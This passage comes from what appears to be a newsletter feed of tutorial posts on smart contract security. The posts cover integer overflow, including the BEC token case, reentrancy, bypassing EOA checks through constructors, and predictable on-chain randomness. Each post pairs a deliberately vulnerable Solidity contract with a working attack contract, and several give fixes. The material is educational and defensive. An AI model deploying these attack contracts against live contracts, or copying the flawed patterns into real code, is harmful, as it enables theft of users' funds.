        lockTime[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-built_in">now</span> <span class="hljs-operator">+</span> <span class="hljs-number">1</span> <span class="hljs-literal">weeks</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">increaseLockTime</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _secondsToIncrease</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        lockTime[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> _secondsToIncrease;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span> <span class="hljs-number">0</span>);
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">now</span> <span class="hljs-operator">></span> lockTime[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>]);
        <span class="hljs-keyword">uint</span> transferValue <span class="hljs-operator">=</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];
        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
        <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(transferValue);
    }
}
</code></pre><p>In the <code>increaseLockTime</code> function, since a free timestamp increment can be input by itself, there is a risk of integer overflow. Just imagine, if the input <code>_secondsToIncrease</code> is added to the original <code>lockTime[msg.sender]</code> ，due to overflow, the value of <code>lockTime[msg.sender]</code> will finally become a very small value, so that in the <code>withdraw</code> function, you can smoothly pass</p><pre data-type="codeBlock" text="require(now &gt; lockTime[msg.sender]);
"><code><span class="hljs-built_in">require</span>(<span class="hljs-built_in">now</span> <span class="hljs-operator">></span> lockTime[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>]);
</code></pre><p>这一行，使得deposit进去的ETH可以提前被取出。</p><p>2.Preventive measures</p><p>First of all, in version <code>0.8.0</code>, this problem has been solved at the language level: once an integer overflow occurs, the transaction will be directly reverted. Before version <code>0.8.0</code>, a <code>SafeMath</code> library of openzeppelin was required.</p><p>3.Real cases</p><p>On April 22, 2018, hackers launched an attack on the BEC smart contract and took out out of thin air:</p><p><code>57,896,044,618,658,100,000,000,000,000,000,000,000,000,000,000,000,000,000,000.792003956564819968</code> BEC tokens were sold in the market. If it is 0, the market collapses instantly.</p><p>The contract version is <code>^0.4.16</code>, which is less than version 0.8, and the SafeMath library is not used, so there is an integer overflow problem.</p><pre data-type="codeBlock" text="function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
    uint cnt = _receivers.length;
    uint256 amount = uint256(cnt) * _value; //溢出点，这里存在整数溢出
    require(cnt &gt; 0 &amp;&amp; cnt &lt;= 20);
    require(_value &gt; 0 &amp;&amp; balances[msg.sender] &gt;= amount);
 
    balances[msg.sender] = balances[msg.sender].sub(amount);
    for (uint i = 0; i &lt; cnt; i++) {
        balances[_receivers[i]] = balances[_receivers[i]].add(_value);
        Transfer(msg.sender, _receivers[i], _value);
    }
    return true;
  }
"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">batchTransfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span>[] _receivers, <span class="hljs-keyword">uint256</span> _value</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">whenNotPaused</span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-keyword">uint</span> cnt <span class="hljs-operator">=</span> _receivers.<span class="hljs-built_in">length</span>;
    <span class="hljs-keyword">uint256</span> amount <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(cnt) <span class="hljs-operator">*</span> _value; <span class="hljs-comment">//溢出点，这里存在整数溢出</span>
    <span class="hljs-built_in">require</span>(cnt <span class="hljs-operator">></span> <span class="hljs-number">0</span> <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> cnt <span class="hljs-operator">&#x3C;</span><span class="hljs-operator">=</span> <span class="hljs-number">20</span>);
    <span class="hljs-built_in">require</span>(_value <span class="hljs-operator">></span> <span class="hljs-number">0</span> <span class="hljs-operator">&#x26;</span><span class="hljs-operator">&#x26;</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">></span><span class="hljs-operator">=</span> amount);
 
    balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>].sub(amount);
    <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&#x3C;</span> cnt; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        balances[_receivers[i]] <span class="hljs-operator">=</span> balances[_receivers[i]].add(_value);
        Transfer(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>, _receivers[i], _value);
    }
    <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
  }
</code></pre><p>The hacker passed in a very large value (here it is 2**255), and overflowed through multiplication, so that the amount (the total number of coins to be transferred) overflowed and became a small number or 0 (here became 0) , so as to bypass the check code of balances[msg.sender] &gt;= amount, so that the malicious transfer of a huge amount of _value can be successful.</p><p>Malicious transfer records of actual attacks:</p><figure float="none" data-type="figure" class="img-center" style="max-width: null;"><img src="https://storage.googleapis.com/papyrus_images/0f2122a8a21331f75262a8a812f16b1b0d0d00db22ae5ac64ac374feac25c121.png" alt="" blurdataurl="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACwAAAAAAQABAAACAkQBADs=" nextheight="600" nextwidth="800" class="image-node embed"><figcaption HTMLAttributes="[object Object]" class="hide-figcaption"></figcaption></figure>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Smart Contract Security: 3. Reentrancy Attacks]]></title>
            <link>https://paragraph.com/@skka3134/smart-contract-security-3-reentrancy-attacks</link>
            <guid>88tX7QrqDc3p5AfUeQm4</guid>
            <pubDate>Wed, 26 Jul 2023 10:33:06 GMT</pubDate>
            <description><![CDATA[1.Vulnerabilities// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view...]]></description>
            <content:encoded><![CDATA[<p>1.Vulnerabilities</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract EtherStore {
    mapping(address =&gt; uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal &gt; 0);

        (bool sent, ) = msg.sender.call{value: bal}(&quot;&quot;);
        require(sent, &quot;Failed to send Ether&quot;);

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance &gt;= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value &gt;= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">EtherStore</span> </span>{
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">></span> <span class="hljs-keyword">uint</span>) <span class="hljs-keyword">public</span> balances;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deposit</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint</span> bal <span class="hljs-operator">=</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];
        <span class="hljs-built_in">require</span>(bal <span class="hljs-operator">></span> <span class="hljs-number">0</span>);

        (<span class="hljs-keyword">bool</span> sent, ) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: bal}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(sent, <span class="hljs-string">"Failed to send Ether"</span>);

        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-comment">// Helper function to check the balance of this contract</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack</span> </span>{
    EtherStore <span class="hljs-keyword">public</span> etherStore;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _etherStoreAddress</span>) </span>{
        etherStore <span class="hljs-operator">=</span> EtherStore(_etherStoreAddress);
    }

    <span class="hljs-comment">// Fallback is called when EtherStore sends Ether to this contract.</span>
    <span class="hljs-function"><span class="hljs-keyword">fallback</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(etherStore).<span class="hljs-built_in">balance</span> <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>) {
            etherStore.withdraw();
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">></span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
        etherStore.deposit{<span class="hljs-built_in">value</span>: <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>}();
        etherStore.withdraw();
    }

    <span class="hljs-comment">// Helper function to check the balance of this contract</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getBalance</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>;
    }
}
</code></pre><p>This attacked <code>EtherStore</code> contract can be used to deposit and <code>withdraw</code> Ethereum. The basic logic of the withdraw function is:</p><p>Determine whether the balance of the sender is greater than 0, if yes, the next step; Use the <code>call</code> method to send the sender all the balances in the contract belonging to the sender. If the sender is successful, the next step is; Clear the balance value belonging to the sender in the contract.</p><p>In the attack contract <code>Attack</code> contract, look at the <code>attack</code> function first, the basic logic is to call deposit to deposit 1 Ether, and then call withdraw to take it out. However, the key code is in the <code>fallback</code> function. This fallback function will first detect the balance of the attacked contract <code>EtherStore</code>, and if it is greater than 1 Ether, it will execute withdraw.</p><p>Once you know these concepts, you can demonstrate the attack process:</p><ol><li><p>Suppose there is a balance of 10 ETH in the EtherStore contract;</p></li><li><p>The attacker clicks on the attack function, first executes deposit, and then deposits 1 ETH, then executes withdraw, the first two lines of the withdraw function pass successfully, and the <code>call</code> function is used to send the balance belonging to the sender (here is the Attack contract) ;</p></li><li><p>After the Attack contract receives the balance, according to the picture above, first check whether msg.data is empty? Yes; does receive exist? No; then enter the <code>fallback</code> function;</p></li><li><p>In the fallback function, first check the balance of <code>EtherStore</code>, here it should be 10 - 1 = 9 Ether, pass, then execute withdraw again;</p></li><li><p>The withdraw function first checks the first two lines, (note, this is the key point of the attack process!) Is the balance belonging to the sender 0? The answer is not 0, and it can still pass, because the last time the withdraw function was executed, it actually stayed at the step of calling to send Ether. The next step has not been executed yet, and the balance value in the EtherStore has not been updated, so it can still pass here, continue Execute to the next call to send the balance, so that the contract balance is sent over again;</p></li><li><p>The fallback function of the Attack contract starts to withdraw again, and the withdrawal process will not stop until the balance in the EtherStore contract is 0 and the fallback function of the Attack contract fails the balance test.</p></li><li><p>After the execution is completed, all 10 ETH of the attacked contract have been sent to the attacked contract Attack.</p></li></ol><p>In the example here, it is also possible to use the <code>receive</code> function in the Attack contract, and there can be a separate receive function in the contract, but a separate <code>fallback</code> function will report a warning.</p><p>2.Prevention methods</p><ol><li><p>Avoid using the call method to transfer funds</p><p>The most important point is that transfer and send have a gas limit of 2300. And call does not. This is why our example above can always be executed recursively. If you use transfer or send, the gas of 2300 will be exhausted soon, and you will not be withdrawn continuously at all.</p></li><li><p>Ensure that the logic of all state variables occurs before the transfer</p><p>In our example, another reason why it can be attacked is that the change of the balances balance is after the transfer of the call, so the repeated withdrawal can be repeated through the status detection of the first two lines.</p></li><li><p>Introducing a mutex</p><p>That is, when the code is executed, a mutex is used to lock the contract state to prevent re-entry. For example, in our example, it can be changed to:</p></li></ol><pre data-type="codeBlock" text="    bool reEntrancyMutex = false;
    function withdraw() public {
        require(!reEntrancyMutex);
        uint bal = balances[msg.sender];
        require(bal &gt; 0);

        reEntrancyMutex = true;
        (bool sent, ) = msg.sender.call{value: bal}(&quot;&quot;);
        reEntrancyMutex = false;
        require(sent, &quot;Failed to send Ether&quot;);

        balances[msg.sender] = 0;
    }
"><code>    <span class="hljs-keyword">bool</span> reEntrancyMutex <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>reEntrancyMutex);
        <span class="hljs-keyword">uint</span> bal <span class="hljs-operator">=</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];
        <span class="hljs-built_in">require</span>(bal <span class="hljs-operator">></span> <span class="hljs-number">0</span>);

        reEntrancyMutex <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
        (<span class="hljs-keyword">bool</span> sent, ) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: bal}(<span class="hljs-string">""</span>);
        reEntrancyMutex <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
        <span class="hljs-built_in">require</span>(sent, <span class="hljs-string">"Failed to send Ether"</span>);

        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }
</code></pre><p>Or write a separate <code>ReEntrancyGuard</code> contract, in which there are only mutex variables and function decorators:</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, &quot;No re-entrancy&quot;);
        locked = true;
        _;
        locked = false;
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ReEntrancyGuard</span> </span>{
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">internal</span> locked;

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">noReentrant</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>locked, <span class="hljs-string">"No re-entrancy"</span>);
        locked <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
        <span class="hljs-keyword">_</span>;
        locked <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;
    }
}
</code></pre><p>Then our <code>EtherStore</code> contract inherits and adds the <code>noReentrant</code> prefix to the <code>withdraw</code> function.</p><p>openzeppelin officially implements such an abstract contract <code>ReentrancyGuard</code>, the idea is the one above, but it can be customized more. In our actual projects, this implementation of open zeppelin is often used.</p><p>3.real case scenario</p><p>The DAO (Decentralized Autonomous Organization) was one of the main hackers in the early development of Ethereum. At the time, the contract held more than $150 million. Reentrancy played a major role in this attack, which eventually led to the Ethereum Classic (ETC) fork. For a detailed analysis of The DAO vulnerability, see Phil Daian&apos;s article.</p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Smart contract security: 2. Bypass EOA checks]]></title>
            <link>https://paragraph.com/@skka3134/smart-contract-security-2-bypass-eoa-checks</link>
            <guid>xSehadN93oMmAxb7rmU3</guid>
            <pubDate>Wed, 26 Jul 2023 10:31:00 GMT</pubDate>
            <description><![CDATA[1.Background The address of Ethereum may be an external user address (Externally Owned Accounts, EOA for short), or a contract address. Sometimes it is necessary to distinguish between these two addresses, or in other words, in many cases, it is to restrict other contract addresses from making cross-contract calls to prevent hacker attacks. This uses an EVM instruction: extcodesize. This command can get address associated code length. For example, the following contract:// SPDX-License-Identi...]]></description>
            <content:encoded><![CDATA[<p>1.Background</p><p>The address of Ethereum may be an external user address (Externally Owned Accounts, EOA for short), or a contract address. Sometimes it is necessary to distinguish between these two addresses, or in other words, in many cases, it is to restrict other contract addresses from making cross-contract calls to prevent hacker attacks. This uses an EVM instruction: extcodesize.</p><p>This command can get address associated code length.</p><p>For example, the following contract:</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Test {
    function getAddressCodeSize(address account) public view returns (uint size) {
        assembly {
            size := extcodesize(account)
        }
    }
}

contract Demo {
    constructor() {}
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.17;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Test</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getAddressCodeSize</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span> size</span>) </span>{
        <span class="hljs-keyword">assembly</span> {
            size <span class="hljs-operator">:=</span> <span class="hljs-built_in">extcodesize</span>(account)
        }
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Demo</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{}
}
</code></pre><p>We can measure that the length of the Demo contract is 63, while the length of an ordinary user is 0.</p><p>But there are loopholes that allow the EOA check to be bypassed.</p><p>2.Vulnerabilities</p><p>The loophole is that if the attacking contract makes a cross-contract call in the constructor, then the code length of the associated address returned by extcodesize at this time is also 0, which can be determined as an EOA address. Because only when the constructor of the contract is executed, the contract code will be saved.</p><p>What the Ethereum node saves is actually deployedBytecode, which removes the constructor code that will be executed for the first deployment. The following contracts can exhibit this vulnerability:</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

contract Target {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size &gt; 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), &quot;no contract allowed&quot;);
        pwned = true;
    }
}

contract FailedAttack {
    // Attempting to call Target.protected will fail,
    // Target block calls from contract
    function pwn(address _target) external {
        // This will fail
        Target(_target).protected();
    }
}

contract Hack {
    bool public isContract;
    address public addr;

    // When contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target(_target).protected();
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.13;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Target</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isContract</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> account</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-comment">// This method relies on extcodesize, which returns 0 for contracts in</span>
        <span class="hljs-comment">// construction, since the code is only stored at the end of the</span>
        <span class="hljs-comment">// constructor execution.</span>
        <span class="hljs-keyword">uint</span> size;
        <span class="hljs-keyword">assembly</span> {
            size <span class="hljs-operator">:=</span> <span class="hljs-built_in">extcodesize</span>(account)
        }
        <span class="hljs-keyword">return</span> size <span class="hljs-operator">></span> <span class="hljs-number">0</span>;
    }

    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> pwned <span class="hljs-operator">=</span> <span class="hljs-literal">false</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">protected</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>isContract(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>), <span class="hljs-string">"no contract allowed"</span>);
        pwned <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">FailedAttack</span> </span>{
    <span class="hljs-comment">// Attempting to call Target.protected will fail,</span>
    <span class="hljs-comment">// Target block calls from contract</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">pwn</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _target</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-comment">// This will fail</span>
        Target(_target).protected();
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Hack</span> </span>{
    <span class="hljs-keyword">bool</span> <span class="hljs-keyword">public</span> isContract;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> addr;

    <span class="hljs-comment">// When contract is being created, code size (extcodesize) is 0.</span>
    <span class="hljs-comment">// This will bypass the isContract() check</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _target</span>) </span>{
        isContract <span class="hljs-operator">=</span> Target(_target).isContract(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));
        addr <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>);
        <span class="hljs-comment">// This will work</span>
        Target(_target).protected();
    }
}
</code></pre><p>This contract has an EOA check, and general attack contracts such as FailedAttack cannot be broken, but when Hack is directly called across contracts in the constructor function, the EOA check can be bypassed.</p>]]></content:encoded>
            <author>skka3134@newsletter.paragraph.com (skka3134)</author>
        </item>
        <item>
            <title><![CDATA[Smart contract security: 1. Random number attack]]></title>
            <link>https://paragraph.com/@skka3134/smart-contract-security-1-random-number-attack</link>
            <guid>YswQR4fMxFKIUrGW8Yeu</guid>
            <pubDate>Wed, 26 Jul 2023 10:29:03 GMT</pubDate>
            <description><![CDATA[1.Vulnerabilities// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; contract GuessTheRandomNumber { constructor() payable {} function guess(uint _guess) public { uint answer = uint( keccak256(abi.encodePacked(block.difficulty, block.timestamp)) ); if (_guess == answer) { (bool sent, ) = msg.sender.call{value: 1 ether}(""); require(sent, "Failed to send Ether"); } } } contract Attack { receive() external payable {} function attack(GuessTheRandomNumber guessTheRandomNumber) public { uint a...]]></description>
            <content:encoded><![CDATA[<p>1.Vulnerabilities</p><pre data-type="codeBlock" text="// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint _guess) public {
        uint answer = uint(
            keccak256(abi.encodePacked(block.difficulty, block.timestamp))
        );

        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}(&quot;&quot;);
            require(sent, &quot;Failed to send Ether&quot;);
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint answer = uint(
            keccak256(abi.encodePacked(block.difficulty, block.timestamp))
        );

        guessTheRandomNumber.guess(answer);
    }

    // Helper function to check balance
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}
"><code><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.7;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GuessTheRandomNumber</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">guess</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> _guess</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint</span> answer <span class="hljs-operator">=</span> <span class="hljs-keyword">uint</span>(
            <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">difficulty</span>, <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>))
        );

        <span class="hljs-keyword">if</span> (_guess <span class="hljs-operator">=</span><span class="hljs-operator">=</span> answer) {
            (<span class="hljs-keyword">bool</span> sent, ) <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-number">1</span> <span class="hljs-literal">ether</span>}(<span class="hljs-string">""</span>);
            <span class="hljs-built_in">require</span>(sent, <span class="hljs-string">"Failed to send Ether"</span>);
        }
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Attack</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params">GuessTheRandomNumber guessTheRandomNumber</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">uint</span> answer <span class="hljs-operator">=</span> <span class="hljs-keyword">uint</span>(
            <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodePacked</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">difficulty</span>, <span class="hljs-built_in">block</span>.<span class="hljs-built_in">timestamp</span>))
        );

        guessTheRandomNumber.guess(answer);
    }

    <span class="hljs-comment">// Helper function to check balance</span>
